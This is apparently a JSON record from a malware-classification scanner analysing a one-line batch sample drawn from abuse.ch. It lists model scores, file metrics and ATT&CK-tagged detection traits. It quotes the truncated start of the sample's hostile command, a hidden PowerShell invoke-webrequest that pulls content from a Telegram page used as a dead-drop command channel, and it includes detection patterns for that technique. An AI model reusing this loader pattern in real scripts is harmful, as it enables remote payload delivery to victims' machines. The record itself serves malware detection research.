{
  "ml": {
    "v": "4",
    "fs": [
      {
        "id": 0,
        "prob": 0.8383554220199585,
        "class": 0
      }
    ],
    "prob": 0.8383554,
    "class": 0,
    "models": [
      {
        "m": "az",
        "prob": 0.8383554,
        "class": 0
      },
      {
        "m": "az/scripts",
        "prob": 0.5448155,
        "class": 0
      },
      {
        "m": "az/batch",
        "prob": 0.44444445,
        "class": 0
      }
    ],
    "version": "v17.17",
    "thresholds": [
      0.999503,
      0.9998882
    ],
    "analyzed_at": "2026-05-24T23:12:14Z"
  },
  "path": "6c7b2aaae4101550fb73fe24d98a3fef8eb0c4ee4dc1444f19c54f6fd67b70f7.cmd",
  "raw": {
    "v": "5",
    "fs": [
      {
        "f": "O(C)H₂(CmPo)",
        "x": 4,
        "ff": {
          "m": {
            "file": {
              "size": 313.0,
              "entropy": 5.42,
              "size_bytes": 313.0
            },
            "text": {
              "digit_ratio": 0.03,
              "space_count": 9.0,
              "total_lines": 1.0,
              "char_entropy": 5.42,
              "unique_chars": 64.0,
              "lines_over_200": 1.0,
              "avg_line_length": 311.0,
              "max_line_length": 311.0,
              "last_line_length": 311.0,
              "whitespace_ratio": 0.04,
              "most_common_ratio": 0.08,
              "most_common_char_is_null": 0.0,
              "max_inline_whitespace_run": 1.0,
              "trailing_whitespace_lines": 1.0,
              "most_common_char_codepoint": 101.0
            }
          },
          "s": [
            [
              0,
              "u8",
              "powershell.exe -NoProfile -Command \"$u='https://t.me/s/apinono';$c=(iwr $u -UseBasicParsing).Content;$m=[regex]::Match($c,'prope"
            ]
          ],
          "id": "batch"
        },
        "id": 0,
        "sz": 313,
        "ts": [
          {
            "a": "T1071.001",
            "c": 0.75,
            "d": "HTTP/HTTPS URL literal (raw)",
            "e": [
              "https://t.me"
            ],
            "i": "micro-behaviors/communications/http/lib/invoke-webrequest::uri-literal-raw",
            "l": 2,
            "m": "C0002"
          },
          {
            "a": "T1059.001",
            "c": 0.8999999761581421,
            "d": "PowerShell launcher reference",
            "e": [
              "powershell"
            ],
            "i": "objectives/execution/interpreter/script/wsh::powershell-launcher",
            "l": 1
          },
          {
            "a": "T1071.001",
            "c": 0.75,
            "d": "UseBasicParsing flag (-useb)",
            "e": [
              "-UseBasicParsing"
            ],
            "i": "micro-behaviors/communications/http/lib/invoke-webrequest::useb-flag",
            "l": 3,
            "m": "C0002"
          },
          {
            "a": "T1562.001",
            "c": 0.949999988079071,
            "d": "Regex component marker",
            "e": [
              "Value"
            ],
            "i": "objectives/evasion/indicator-removal/cleanup::motw-removal-stream--rx-3",
            "l": 1,
            "m": "B0047"
          },
          {
            "a": "T1102.001",
            "c": 0.8999999761581421,
            "d": "Telegram profile URL (t.me)",
            "e": [
              "https://t.me/s"
            ],
            "i": "objectives/command-and-control/channel/deaddrop/telegram::telegram-profile-url",
            "l": 3
          },
          {
            "c": 0.949999988079071,
            "d": "File is a one-liner",
            "e": [
              "text.total_lines = 1.00"
            ],
            "i": "metadata/file/text/metrics::file-one-liner",
            "l": 1
          },
          {
            "c": 0.800000011920929,
            "d": "Very short file (under 12 lines)",
            "e": [
              "text.total_lines = 1.00"
            ],
            "i": "metadata/file/text/metrics::file-under-12-lines",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.699999988079071,
            "d": "NoProfile flag",
            "e": [
              "-NoProfile"
            ],
            "i": "objectives/anti-static/obfuscation/string/concat::ps-noprofile",
            "l": 2,
            "m": "B0032"
          },
          {
            "a": "T1204.002",
            "c": 0.8999999761581421,
            "d": "PowerShell archive download tool marker",
            "e": [
              "iwr"
            ],
            "i": "objectives/command-and-control/dropper/staging/archive::powershell-download-archive-tool",
            "l": 1
          },
          {
            "a": "T1071.001",
            "c": 0.8600000143051147,
            "d": "Batch launches PowerShell iwr request",
            "e": [
              "powershell.exe -NoProfile -Command \"$u='https://t.me/s/apinono';$c=(iwr"
            ],
            "i": "micro-behaviors/communications/http/lib/invoke-webrequest::batch-powershell-iwr-alias",
            "l": 3,
            "m": "C0002"
          },
          {
            "c": 0.699999988079071,
            "d": "PowerShell invoked from shell or batch",
            "e": [
              "powershell.exe -"
            ],
            "i": "micro-behaviors/process/create/shell/lang::powershell-invocation",
            "l": 3
          },
          {
            "c": 0.699999988079071,
            "d": "powershell keyword",
            "e": [
              "powershell"
            ],
            "i": "micro-behaviors/process/create/shell/lang::powershell-keyword",
            "l": 3
          },
          {
            "d": ".exe extension reference",
            "e": [
              ".exe"
            ],
            "i": "micro-behaviors/fs/path/extension::exe-dup",
            "l": 2
          },
          {
            "d": "powershell.exe executable reference",
            "e": [
              ".exe",
              "powershell"
            ],
            "i": "objectives/execution/interpreter/script/shell::powershell-exe-comp",
            "l": 3
          }
        ],
        "sha": "6c7b2aaae4101550fb73fe24d98a3fef8eb0c4ee4dc1444f19c54f6fd67b70f7",
        "path": "/data/samples/bad/datasets/various/datalake.abuse.ch/2026-05/6c7b2aaae4101550fb73fe24d98a3fef8eb0c4ee4dc1444f19c54f6fd67b70f7.cmd",
        "type": "batch"
      }
    ],
    "tv": "9ea7c"
  }
}